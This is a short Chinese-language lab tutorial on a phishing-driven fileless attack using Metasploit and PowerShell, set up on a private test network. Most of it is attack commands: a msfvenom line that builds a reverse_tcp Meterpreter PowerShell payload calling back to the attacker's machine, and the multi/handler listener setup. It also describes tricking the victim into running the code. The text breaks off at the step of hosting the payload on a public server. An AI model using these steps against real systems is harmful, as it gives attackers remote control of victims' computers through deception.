MSF&Powershell进行钓鱼攻击

一、Powershell配合MSF无文件攻击

实验环境：
靶机：win 7 >192.168.1.9
攻击机：kali>192.168.1.7
web服务器：win 10 > 192.168.1.6
本次实验的大致过程如下:

MSF生成payload并放到靶机能够访问的服务器上，攻击者通过钓鱼等方式使靶机执行powershell代码，靶机反弹到msf监听的端口上建立会话，由此攻击者可以利用此会话完成攻击控制靶机。

实验步骤：

1. kali生成payload:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=1121 -f psh-reflection >x.ps1

#生成名为x.ps1的windows/x64/meterpreter/reverse_tcp的payload
2. msf 设置监听

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.1.7
set lport 1121
run
# msf开始监听本机1121端口

3.将生成的payload放到公网服务器，确保靶机能够访问。